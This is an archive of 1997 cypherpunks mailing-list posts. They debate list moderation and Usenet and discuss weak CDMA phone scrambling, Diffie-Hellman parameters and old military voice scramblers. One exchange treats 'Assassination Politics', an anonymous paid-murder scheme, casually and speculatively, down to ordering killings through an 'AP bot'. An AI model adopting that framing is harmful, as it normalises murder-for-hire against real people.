-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Mon, 3 Feb 1997 21:41:50 -0800 (PST)
To: Wei Dai <weidai@eskimo.com>
Subject: Re: what's in a name?
Message-ID: <199702040541.VAA15781@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Wei Dai allegedly said:
> 
> I've stayed out of the debate about list moderation so far, but a recent
> post from tmcghan@gill-simpson.com reminds me of something I've been
> thinking about.  An interesting way to look at what happened is that John
> Gilmore owns the name "cypherpunks@toad.com" and has chosen to exercise
> that ownership.  Even though those of us who disagree with the way he has
> done so are free to leave and set up our own mailing list, it is costly to
> do so, and the problem of central name ownership remains.  List
> subscribers have made investments that are specific to the name
> "cypherpunks@toad.com", and most of the cost of switching to a new list is
> in the new investments they would have to (re)make.  The fact is that a
> promise of no censorship is not enough incentive for us to do so. 
>  
> I suspect that the hierarchical nature of name ownership on the Internet
> today will be an important technological barrier for the establishment of
> truly anarchic virtual communities.  Unless this problem is solved, the
> closest we'll come is pseudo-anarchies that exist with the tolerance of
> beneficent dictators.

While the name hierarchy may have some effect similar to what you 
suggest, I think the real issue is more likely economic hierarchy -- 
toad.com is a name of some value, true, but toad.com is also a T1 
connection and some compute power that many people simply can't afford.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com,kc@llnl.gov		the thief he kindly spoke...
PGP fingerprint:   5A 16 DA 04 31 33 40 1E  87 DA 29 02 97 A3 46 2F





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Mon, 3 Feb 1997 21:41:48 -0800 (PST)
To: David Farber <farber@cis.upenn.edu>
Subject: Re: concerning Ben Franklin
Message-ID: <199702040541.VAA15779@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


David Farber allegedly said:
> 
> My favorate Ben Franklin quote is
> 
> "They that can give up essential liberty to obtain a little temporary 
>  safety deserve neither liberty nor safety."       - Ben Franklin, ~1784

In the constitutional convention a property requirement for voting 
was discussed.  Franklin said "A man owns an ass; he can vote.  The 
ass dies; he cannot vote.  Who owns the vote?"  (I may not have 
quoted it precisely.)

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com,kc@llnl.gov		the thief he kindly spoke...
PGP fingerprint:   5A 16 DA 04 31 33 40 1E  87 DA 29 02 97 A3 46 2F





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Mon, 3 Feb 1997 21:43:27 -0800 (PST)
To: "Scott V. McGuire" <svmcguir@syr.edu>
Subject: Re: My Departure, Moderation, and "Ownership of the List"
Message-ID: <199702040543.VAA15856@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Scott V. McGuire allegedly said:
[...]
> I didn't change my subscription from the filtered to
> the unfiltered list because I expected this to end in a month and I was
> willing to participate in the experiment.  You can't ask someone to try
> something for a month to see if they like it and call there use of it in
> that month evidence that they like it.

I agree.  But there is more.  As much as anything else, I didn't
change lists because of inertia and laziness.  I suspect that most 
people are like me in this regard.  I suspect that if the tactic had 
been to require people to subscribe to the moderated list we would 
see just the reverse of the current numbers.  In fact, in the 
interests of fairness, integrity, and adherence to the scientific 
method, I suggest that after this month trial has passed that we 
reverse the lists, and see how many change to the moderated list.

[snip]

> Sandy, you said that you thought the list had improved since you began
> moderating.  How could you think otherwise?  When you send an article to
> the flames list its because you think the list would have been worse
> otherwise.  I don't think the moderators opinion should be considered in
> determining if moderation is a good thing.  I think there is a conflict of
> interest there.

Absolutely no doubt that there is a conflict of interest.  In Sandy's shoes 
a saint couldn't be objective.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com,kc@llnl.gov		the thief he kindly spoke...
PGP fingerprint:   5A 16 DA 04 31 33 40 1E  87 DA 29 02 97 A3 46 2F





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Michael Froomkin - U.Miami School of Law" <froomkin@law.miami.edu>
Date: Mon, 3 Feb 1997 20:26:33 -0800 (PST)
To: cypherpunks <cypherpunks@toad.com>
Subject: Re: My Departure, Moderation, and "Ownership of the List"
Message-ID: <199702040426.UAA13722@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I agree with two of Tim's points.  I express no opinion about the others,
except that I think these are the two most important. 

(1) I agree with Tim that as a matter of principle, it would be preferable
to create a new moderated list, with a similar but distinguishable name,
and leave the existing list as it was.  I happen to think less turns on
this than does Tim, given the opportunity to exercise truth-in-labeling,
but it seems to me that because the cost of this approach is zero, and it
has real benefits in the eyes of some, it's a no-brainer.  I expect that I
would subscribe to the filtered version.  If someone is really worried
that the new list will be too low traffic (please, G*d), they can send an
automatic ballot to all subscribers, USENET style,asking what list(s) they
want to be on.  My own view is that if you are not ready, willing or able
to read and follow a periodic posting explaining how to sign on/off
various lists (and I assume there should and would be one), I am willing
to take the risk of missing your input.

(2) Much to my surprise, so far moderation is a failure.  I think it is a
failure because it achieves neither of the moderation "sweet spots".  No
moderation is one "sweet spot".  Strict moderation -- the kind you get on
RISKS, where you know nearly every post is on-topic or at least worth your
time -- is another. This is neither. My clumsy procmail filters are almost
as busy as ever.  What slips through is largely duplicative of what I get
from other lists, or is not to my taste. (NB *my taste*.)  And it gets
here slower.  It's true that the venom from anonymous remailers is gone,
and that is a plus, but even so little of what slips through is of
interest modulo other lists.  I happen to think that *stricter* moderation
might lure back some of the better content-providers, but it would help to
set it up in a manner that offends the smallest possible number.

As Oscar Wilde either said, or should have said, the worst crime is to be
boring.   

PS. New members of the list may justly ask, where does he get off calling
the posters he doesn't killfile bores?  I stopped posting a lot to the
list some time ago, back when I decided my energies were better spent
writing long stuff (see my web page) and playing with my kids.  I kept
reading the list primarily to read the work of about six people -- and Tim
was one of them. 

A. Michael Froomkin        | +1 (305) 284-4285; +1 (305) 284-6506 (fax)
Associate Professor of Law |
U. Miami School of Law     | froomkin@law.miami.edu
P.O. Box 248087            | http://www.law.miami.edu/~froomkin
Coral Gables, FL 33124 USA | It's warm here. 








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Phil Karn <karn@qualcomm.com>
Date: Tue, 4 Feb 1997 06:56:38 -0800 (PST)
To: Doug_Merrill@rand.org
Subject: Re: PCS Encryption?
Message-ID: <199702041456.GAA28777@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>Phil Karn is, of course, the expert on this -- I hope he'll chime in soon
>-- Phil, you out there??

Yup, I'm out here. Just buried under a pile of email.

>Working from my not-so-great memory, CDMA uses a fixed spreading code that
>is determined by a pretty simple "cipher-like" process.  I believe the
>details are covered by an NDA, sorry.  At any rate, it isn't "encryption"
>by any means -- and tapping it requires little more than building a new
>base station (again, given $ and the fact that you're going to have to
>follow the bloody thing around as it moves).

No, it's not covered by NDA. It is, however, all heavily covered by
Qualcomm patents.  It's all specified in complete detail in TIA
IS-95A. The actual spec is copyrighted TIA (even though we did almost
all the work) but you can find an early version, plus a much more
readable overview paper, through my web page. The air interface is
essentially the same as you'll find on the air.

<http://www.qualcomm.com/people/pkarn/cdma.html>

There is essentially no "encryption" in the usual sense of the word in
CDMA. It is true that the complexity (and until recently, the
obscurity) of the modulation method provides some modest protection
against casual eavesdropping (e.g., someone with a Radio Shack
scanner). But phones containing the necessary ASICs are now being
shipped by the hundreds of thousands per month, and as I said earlier
the complete air interface spec has been public for some time.

I do note that the forward (base to mobile) and reverse (mobile to
base) modulation methods are totally different, because the jobs they
have to do are different. Only the reverse link is truly CDMA, as
there you have many transmitters sending to a single receiver. Both
links are spread to 1.25 MHz bandwidths, but that's about where the
similarities end. The phone ASIC contains only a forward link
demodulator function and a reverse link modulator function. The base
station ASICs are not yet generally available. Also, an echo canceller
in the base station effectively blocks any reverse link audio from
coming back out on the forward link.

Consider also the very low and tightly controlled transmitter powers
typically used on the reverse link. One can now make certain
conclusions about the relative ease of intercepting the forward link
as compared to the reverse link.

The closest thing to "encryption" in CDMA is the "private long key"
mechanism. The private long key is the starting state of a 42-stage
linear feedback shift register (LFSR) that is used to spread (reverse
link) or scramble (forward link) the vocoder data. (The IS-95 signal
path is too complex to describe fully here -- see the documents on my
web page for the details, including the difference between scrambling
and spreading).

As anyone with even a rudimentary knowledge of cryptanalysis knows,
LFSRs are not at all cryptographically secure. The Massey-Berlekamp
algorithm can easily determine the state of the long code shift
register with a short (42-chip) sample of its output. Furthermore, the
long key sequence has other specified uses on the reverse link; in
particular it is used as a pseudorandom sequence generator to control
the puncturing (on-off transmitter gating pattern) when the phone is
transmitting at a low data rate between talk spurts. This obviously
suggests other ways to determine the LFSR state without demodulating
individual CDMA chips.

Nevertheless, NSA has repeatedly objected to the export of the
"private long code" feature, and I'm not even sure it's implemented on
the domestic models currently being deployed.

Phil





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 4 Feb 1997 06:41:02 -0800 (PST)
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: Dissolving Choke Points
Message-ID: <199702041441.GAA28346@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 07:59 PM 2/3/97 -0800, Greg Broiles wrote:
>If the list is going to turn into Usenet (we've already got most of 
>Usenet's better kooks), we might as well just move the
>damn thing over to alt.cypherpunks and be done with it. 
>(Anyone care to guess who founded alt.* as a way to route around 
>censorship?)

The big argument against going to a newsgroup in the past
was that signal-to-noise would degrade to the point of alt.2600ness
due to newbies, flamers, overflow to/from political ranting newsgroups, etc.,
and there's already a sci.crypt for that.  The main argument
in favor of moderation has been that the list has become unreadable
due to newbies, flamers, political ranting, and directed attacks
and maybe moderation would fix it, at the cost of annoying people
who don't like moderation (which is realistically most of us;
two practical reasons not to have moderation are that the volume is too high
for most people to be willing to moderate, and that the delays 
inherent in the moderation process reduce the interactivity that's
been one of the valuable things about this list.)  I'd prefer that
we all just get along, but things really were getting uncivil.

An advantage of Usenet is the ability to deploy whatever NoCeM is
called these days as a way to let people avoid spammers.

Personally, I'd switched to the fcpunx filtered list a couple months ago,
mainly to cut down on volume but also because I was getting fed up
with Vulis's attacks through remailers, which were getting to be
too much trouble to filter out.  I switched back to the main list
after the moderation announcement, with Eudora filters
to make some discussions and some people go away.

Of course, there have been several different demonstrations of
ways around the moderation since then.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Tue, 4 Feb 1997 06:26:48 -0800 (PST)
To: "Michael Froomkin - U.Miami School of Law" <cypherpunks@toad.com>
Subject: Re: My Departure, Moderation, and "Ownership of the List"
Message-ID: <199702041426.GAA27971@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:50 PM -0500 2/3/97, Michael Froomkin - U.Miami School of Law wrote:
>I agree with two of Tim's points.  I express no opinion about the others,
>except that I think these are the two most important.
>
>(1) I agree with Tim that as a matter of principle, it would be preferable
>to create a new moderated list, with a similar but distinguishable name,
>and leave the existing list as it was.  I happen to think less turns on

This is a point of view many of the most thoughtful commenters seem to
agree on, isn't it? One would have thought that had Sandy and John really
been interested in hearing the views of list members, this approach would
have eventually won out.

>(2) Much to my surprise, so far moderation is a failure.  I think it is a

It doesn't surprise me, but then I've rarely been a fan of moderation. As
Michael points out below, it mostly works on "RISKS," but in most other
cases I can think of it merely slows discussion down, introduces strange
skewings of opinions (to win "approval" of the moderator), and almost never
causes better posts to be written.

(The case of skilled editors soliciting good articles is of course an
entirely different issue.)

>failure because it achieves neither of the moderation "sweet spots".  No
>moderation is one "sweet spot".  Strict moderation -- the kind you get on
>RISKS, where you know nearly every post is on-topic or at least worth your
>time -- is another. This is neither. My clumsy procmail filters are almost
>as busy as ever.  What slips through is largely duplicative of what I get

Several people have also commented on this, that their filters are still
working overtime. As it should be, really, as no moderator can make the
list match any given person's preferences.

(Personally, I'm not even convinced filters are essential. It takes no
longer than 5 seconds to glance at a message and know whether to scrap it
or not. Granted, it takes a bit of time to download, especially at slower
modem speeds. But whether Sandy's censorship is producing any significant
"savings" depends on how many messages he's sorting into each
pile...clearly if 20% or less of the total posts are being filtered out,
then the savings are ignorable. Anybody have the statistics handy? Hint:
Sandy should publish a periodic accounting of how many messages went into
each pile, and should also publish his criteria on a regular basis,
pointing out any modifications he's made to his criteria since the last
report.)

>As Oscar Wilde either said, or should have said, the worst crime is to be
>boring.

Maybe the list is like the portrait of Dorian Gray, with an image of the
list sitting in a closet at Toad Hall aging not so gracefully.

>PS. New members of the list may justly ask, where does he get off calling
>the posters he doesn't killfile bores?  I stopped posting a lot to the
>list some time ago, back when I decided my energies were better spent
>writing long stuff (see my web page) and playing with my kids.  I kept
>reading the list primarily to read the work of about six people -- and Tim
>was one of them.

Thanks. And I should point out in fairness that Michael recruited me for
his panel on "Governmental and Societal Implications of Digital Cash" (or
something like this) at the upcoming CFP.

--Tim May

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Phil Karn <karn@qualcomm.com>
Date: Tue, 4 Feb 1997 06:57:34 -0800 (PST)
To: jya@pipeline.com
Subject: Re: PCS Encryption?
Message-ID: <199702041457.GAA28791@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>While awaiting Phil's response, there's an informative description of 
>Qualcomm's CONDOR device at:

>   http://www.nsa.gov:8080/programs/missi/condor.html

Condor is, of course, a Fortezza (clipper) application, which makes it
less than useful to those outside the government. In fact, from what
I've heard even the potential government users are much more
interested in STU III support. I wonder why...

Phil






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Peter Hendrickson <pdh@best.com>
Date: Tue, 4 Feb 1997 06:26:44 -0800 (PST)
To: cypherpunks@toad.com
Subject: Mailing Lists vs. Usenet
Message-ID: <199702041426.GAA27969@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 7:59 PM 2/3/1997, Greg Broiles wrote:
> Seriously, if you want a distributed no-choke-points "flooding"
> message distribution system, you're talking about Usenet. Robust
> software exists for clients and servers, and it's already supported
> worldwide on many operating systems. No need to write more software
> to graft that functionality onto E-mail. If the list is going to
> turn into Usenet (we've already got most of Usenet's better kooks),
> we might as well just move the damn thing over to alt.cypherpunks
> and be done with it. (Anyone care to guess who founded alt.* as a
> way to route around censorship?)

> (Of course, Usenet is a technical success and a spectacular failure,
> content-wise. So opponents of moderation will be forgiven for
> failing to mention this sparkling example of an unmoderated,
> anything-goes forum for discussion.)

Several people have brought up this point and it is worth discussing.
There are some differences.

I don't like Usenet's architecture.  It is silly to duplicate vast
amounts of traffic everywhere.  It was a fine idea when there were 100
groups with lots of overlap in what people read.  The horse and buggy
was a good idea once too.

Performance is a problem with Usenet.  The system I envision (nearly
identical to Igor's) would have about ten mail servers, each of which
sends articles to all the others.  Even in situations where something
is wrong, articles will be nearly instantly transmitted along an
alternate path.  I think this is harder to arrange with Usenet.

Competition among Cypherpunks providers works the right way.  If you
are getting your mail on a system which is slow and isn't up all the
time, you have good reasons to switch to another provider.  This is
easy - just subscribe yourself to one mailing list and unsubscribe
from the other.  It's harder for most people to do this with Usenet.
You may not want to switch your ISP to get a better Cypherpunks feed.

In my opinion, Usenet is less conducive to filtering than is mail.  It
is true that there are lots of Usenet readers which can do things like
kill whole threads and the like, but mail just screams "run me through
a perl script!"  This is mostly subjective, of course.

More subjective opinions: I don't like being associated with Usenet.
It is seen as an international bulletin board.  Many people believe
that it is "public" space and should be subject to zoning.  I like the
idea of keeping the cypherpunks list "private".  I like being able to
say "if what's on the list upsets you so much, why did you subscribe?"
This is more effective than "so tell your child not look at Usenet".

I don't like the whole Usenet cabal and all of the voting to decide
which lists to canonize.  Less of an issue with alt.cypherpunks, but
the association is still there.

Peter Hendrickson
ph@netcom.com







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Peter Hendrickson <pdh@best.com>
Date: Tue, 4 Feb 1997 06:26:42 -0800 (PST)
To: Greg Broiles <cypherpunks@toad.com
Subject: Re: Dissolving Choke Points
Message-ID: <199702041426.GAA27968@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 7:59 PM 2/3/1997, Greg Broiles wrote:
>At 10:55 AM 2/3/97 -0800, Peter Hendrickson wrote:
>> Moderation has been a failure.  I'm pretty good at filtering and I
>> can sadly report that there is very little signal out there.

> I don't think it's reasonable to expect an increase in signal within 2 1/2
> weeks of the start of moderation.

What I have seen is a pretty complete elimination of the signal that
was there.  Some might argue that this is "just" because Tim stopped
posting.  But so what?  The result of moderation was the elimination
of signal.  (Aside: Can anybody think of five members of the list
whose combined contributions clearly exceed Tim's?  I can't.)

Also, I am curious when you expect the benefits of moderation to
arrive.  Two and a half weeks should be plenty of time for a reasoned
creative and interesting discussion to develop.  It hasn't happened.
Instead the value of the list has - in my view - steadily tapered off
since the announcement of moderation.

>> There are lessons to be learned here.  One is that censorship does
>> not promote a stimulating and creative dialogue.

> No, that is a silly lesson to draw from this experiment. There are
> lots of useful and interesting "moderated" (on paper, it's called
> "editing") publications/lists/digests where the content is
> intentionally controlled for content and style.

And in practice people get their friends published.  Ever wonder why
Denning got so much bandwidth on the RISKS list when she had so little
to say?

I don't like edited journals, either.  I prefer to have somebody I
respect say "Did you see so-and-so's paper?  Here's the URL."  Most of
what is in, for instance, peer reviewed scientific journals is fluff
designed to enhance somebody's resume.

Moderation was a good idea when you had a number of people who
couldn't all talk at once in the same room and in which a disruptive
influence could not be easily ignored.

We have better ways to communicate now.  Let's use them.

Peter Hendrickson
pdh@best.com







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Mon, 3 Feb 1997 17:58:32 -0800 (PST)
To: shamrock@netcom.com
Subject: Re: Moderation [Tim,Sandy]
Message-ID: <199702040158.RAA09697@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Lucky Green <shamrock@netcom.com> writes:
> I believe that Cypherpunks is beyond hope of recovery. In fact, each day
> Cypherpunk (as in cypherpunks@toad.com) lives on, it does damage to the
> cause. Let's kill the list. Once and for all. Let the hard core crypto go
> to Coderpunks, the politics to Cryptography, and the garbage into the void.

What about the leaks?  (rc4.c, Mykotronics dumpster contents, etc)
Where do they go?

You expect Perry to stick his neck out and approve them?  (Perry
Metzger is the moderator of cryptography@c2.net, started recently as a
moderated version of cypherpunks for those who don't know what the
`cryptography' list is).  The existance of cryptography argues against
the need for `cypherpunks' to be moderated.  Why two competing
moderated lists?

Secondly the status of garbage is in the eye of the beholder.  There
are a few posts which are probably considered garbage by near
everyone, but lots of other stuff which really just depends on what
the reader is interested in.

The problem with censorship or moderation is that it waters down the
absolutism of free speech.  Free speech in electronic media, with
cypherpunks type I, and type II remailers, is the closest thing to
truly free speech yet.

A lot of people seem to regard Jim Bell's assasination politics as
suitable material for censoring.  Yet it is pretty crypto relevant.

Sandy's job is pretty hard to do.  For instance I recently posted
this, which ended up in cpunks-flames, due to being in a thread which
contained a mild flame 2 messages back:

: Diffie-Hellman key generation, there are two main ways of generating
: the diffie-hellman prime modulus, method 1:
: 
: 	p = 2q+1
: 
: where q is a prime also.
: 
: And method 2:
: 
: 	p = r.2q+1
: 
: where q is a prime and r is a randomly generated number.
: 
: With method 1, the security parameter is the size of p in bits (or
: size of q, as they are related).
: 
: With method 2, there are two security parameters, size of q and size
: of p in bits.  
: 
: Method 2 has the advantage that key generation is faster as it is
: quicker to generate new random numbers r, than to repeatedly generate
: trial prime q as you have to do in method 1.  However is the security
: weaker in method 2?  What size of p and q do you have to use to get
: the same security as for same size of p in bits as in method 1?  What
: should be the relationship between the size of p and q?

(I freely admit to injecting additional crypto relevance just for the
fun of seeing it be filtered cpunks-flames -- though I was interested
in discussion also).

> I am well aware of the name recognition and reputation capital associated
> with CP, still I believe it best to *kill the list*.

I'd prefer to see various filtering services offered, and the list
retained.

My main objection with the moderation experiment is that the main list
was renamed.

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 4 Feb 1997 06:25:58 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: My Departure, Moderation, and "Ownership of the List"
Message-ID: <199702041425.GAA27890@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:
> ichudov@algebra.com (Igor Chudov @ home) writes:
> > Adam Back wrote:
> > > Perhaps it is time to reconsider the benefits of alt.cypherpunks.  (As
> > > an aside, it is ironic that John Gilmore was the guy who started the
> > > alt.* USENET hierarchy, specifically to facilitate freedom of speech).

> > An interesting idea.

What's also interesting is Tim May posting after a long "absence",
and in his post he repeats virtually sentence-for-sentence what
a handful of people have been saying here for the past month.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 4 Feb 1997 06:26:36 -0800 (PST)
To: Eric Cordian <emc@wire.insync.net>
Subject: Voting on Moderation [was: Dissolving Choke Points]
Message-ID: <199702041426.GAA27943@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Eric Cordian wrote:
> Peter Hendrickson writes:
> > Moderation has been a failure.  I'm pretty good at filtering and I
> > can sadly report that there is very little signal out there.

> The quality of the Cypherpunks list is determined solely by the
> amount of signal.  The amount of noise is irrelevant.
[snip]
> Now that we have moderation, I can't do this while subscribed to the
> main list, and have to live in eternal fear that I am writing for
> an audience of 20 every time I respond to something on the unedited
> list.  Foo on that.

I wonder how Sandy will take the vote on continuing or abandoning
the moderation experiment?

In most states, one juror out of 12 can kill a conviction.

In a revolution such as U.S. 1776, only a tiny percent of the people
supported the revolution.

Will Sandy go with a majority decision (pure democratic), or allow
the moderation to go away if a significant minority wants to kill it?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Mon, 3 Feb 1997 17:56:49 -0800 (PST)
To: tmcghan@gill-simpson.com
Subject: Re: My Departure, Moderation, and "Ownership of the List"
Message-ID: <199702040156.RAA09634@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



<tmcghan@gill-simpson.com> writes:
> in a message allegedly from:  "Timothy C. May" <tcmay@got.net>
> 
> > I would have had no problem had John announced that he was creating
> > a new list, the "Good Stuff" list, with Sandy has his Chooser of
> > Good Stuff.
> 
> > But by making the _main list_ the censored one, this skewed things
> > considerably.
> 
> > But the clear message by having Sandy censor the
> > main list (the default list, the list name with the main name, the
> > list we all know about, etc.) 
> 
> Now that the horse is out of the barn, ( or maybe not? ), I can't help
> but ask whether one specific 'change to the change' would have
> satisfied most of your objections:  retaining 'cypherpunks' as the
> name of the unedited, all-the-crud-you-can-read-and-then-some,
> version, and adding an 'cp-worthwhile' list for those of us who prefer
> not to wade thru mountains of garbage to glean a few precious tidbits.

That was the objectionable part of the moderation experiment to me.

> What's in a name?  Is perception more important ( to you ) than 
> reality?  If just swapping names between cp and cp-unedited would make
> such a large difference, I humbly suggest to you that you consider how
> much labels need to matter.  Is the title of the group more important
> the the content?  From where I sit, this looks a lot like a
> style-over-substance complaint.

There is a lot in a name.  The name `Cypherpunks' has, or had a
reputation.  Tricks like censoring the list are not helping that
reputation.

This wording indicates that the other two lists are to satisfy
purists:

(relevant output from sending message with body `lists' to
majordomo@toad.com)

: cypherpunks         (THE MAIN LIST)  Fermenting ideas on crypto and society 
: cypherpunks-flames  (FLAMES DELETED BY MODERATOR) Ideas on crypto and society
: cypherpunks-unedited (THE UN-MODERATED LIST) Ideas on crypto and society

The naming convention indicates that cypherpunks is the main list, as
does the ordering (moderated first).  The text in the sign up message:

(extracts from output from sending message with body `info
cypherpunks' to majordomo@toad.com)

:	cypherpunks		moderated to suppress spam and flames
:	cypherpunks-unedited	all submissions, just as they arrived
:	cypherpunks-flames	the submissions that didn't pass moderation

Also I note in passing that if I recall correctly this section used to
give Hugh Daniel's email address.  Seems John is managing majordomo
himself now?  Is Hugh's no longer being list manager related to the
moderation decision?

: For other questions, my list management address is not the best place,
: since I don't read it every day.  To reach me otherwise, send mail to
: 
: 	gnu@toad.com

> It may also be worth noting that the current 'status quo' is a 
> transient experiment, with a fairly short time limit.  When JG, 
> Sandy, et al. evaluate the results with an eye to future 
> direction(s), they may well consider an 'inverted default' for the two
> list names (i.e.:  cp / cp-unedited)

It would be nice also if JG, Sandy et al, took some notice of the list
opinions next time.

It really would have been better to create a _new_ moderated list,
rather than take over the existing list address, and subscribers.

Maybe those who initiated the moderation experiment thought they
wouldn't get many people moving over to the moderated list if they had
to go to that effort.

Another alternative would have been to discontinue `cypherpunks' and
start `cypherpunks-edited' and `cypherpunks-unedited' forcing people
to choose.  I wouldn't have liked that either, but it would have been
a better experiment.  (Likely that would have lost many altogether,
who simply wouldn't have bothered to resubscribe at all).

Several times in the past, a USENET newsgroup alt.cypherpunks was
suggested.  Some people were against it because they felt that it
would attract more noisy posters.

Perhaps it is time to reconsider the benefits of alt.cypherpunks.  (As
an aside, it is ironic that John Gilmore was the guy who started the
alt.* USENET hierarchy, specifically to facilitate freedom of speech).

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 4 Feb 1997 06:41:05 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: If guilty of a lesser crime, you can be sentenced for a greater
Message-ID: <199702041441.GAA28349@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> Dale Thorn wrote:
> > Igor Chudov @ home wrote:
[some arguments deleted for lack of time to reply]
> > > Another story: suppose that OKSAS hired me to work for her, but then
> > > our relationships go south and she fires me. Again, her fate is very
> > > unclear, although I would probably spare her life if it were she.

> > If she does it right, with empathy, there is not likely to be a
> > problem.  On the other hand, if she bad-mouths you to prospective
> > employers or customers you want to do business with, you might be
> > inclined to hit her.  This happens a lot when AP is not available.

> ... But would happen more often if it was.

Why, if AP was readily available, would she want to risk being hit
by bad-mouthing you unnecessarily?

> > people who have such money are not going to bump off very many more
> > people than they already do, because:
> > 1. They need the people to make money off of (Mafia rule #4, never
> >    kill someone who owes you money [or is a money source]).

> This is a wrong Mafia rule, they do kill debtors who are in default.

Really?  Then how do they collect their money?  BTW, I heard the rule
from the mouth of a real mob hitman.

> > 2. Rich people have a lot of eyes on them, and it would be easy to
> >    triangulate a series of murders to them, even without hard evidence.
> >    In an AP world, this triangulation/correlation would be enough to
> >    convince people to either shun this killer, or kill him outright.

> When ten people make deals with each other, it becomes hard to
> triangulate. And it is easy, if you know what deals are done, to change
> the result of triangulation: suppose that I know that you borrowed 1
> million from Toto, that my _and_ yours business partner had been
> murdered (by me, but no one knows), and I am afraid that someone will
> triangulate me and implicate me in that murder. I secretly order
> the AP bot to kill Toto, and you get implicated.  Not good.

We all know how people are framed, and we've seen the Hitchcockian
murder scenarios on TV, in movies, etc.  Certainly the CIA et al can
create these scenarios, but what does that have to do with AP as used
by ordinary persons?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Emery <die@pig.die.com>
Date: Tue, 4 Feb 1997 06:26:02 -0800 (PST)
To: Eli Brandt <eli@gs160.sp.cs.cmu.edu>
Subject: Re: FCPUNX:ecure Phones
Message-ID: <199702041426.GAA27891@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


	Don't think I will bore the list with it,

	But a slightly more complex version of this scheme was one of
the major tactical medium security voice scrambling systems used
by the US in the 70's and 80's and even to a slight extent into
the 90's on military radio circuits.   The military version is
called Parkhill and the crypto gear is the KY-65 and KY-75.

	At one time (in the 70's) it was used for at least secret
traffic.  It was downgraded a couple of times since and is now
considered obselete and compromised.  A Parkhill crypto box
can be seen in the NSA museum...

	The NSA version used time inversion (playing voice samples
backwards) and faster shuffling than this one does, and possibly
a more secure key generator.  But it is rumored to have been
broken by more than one opponent, perhaps including drug cartels.

	Its appeal and why it was so extensively used for a while is
that it interfaces to normal voice radio gear at the audio input
and output level rather than requiring different modulations and
complex digital modems integrated into the radio.  It also gives
pretty good speech quality and speaker recognition.

	Its primary replacement is the ANDVT digital voice terminal
which takes advantage of modern DSP technology to implement modems
usable over radio links and vocoders which can produce acceptable
speech at 1200 or 2400 baud.


							Dave Emery
							die@die.com








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Mon, 3 Feb 1997 17:41:22 -0800 (PST)
To: pdh@best.com
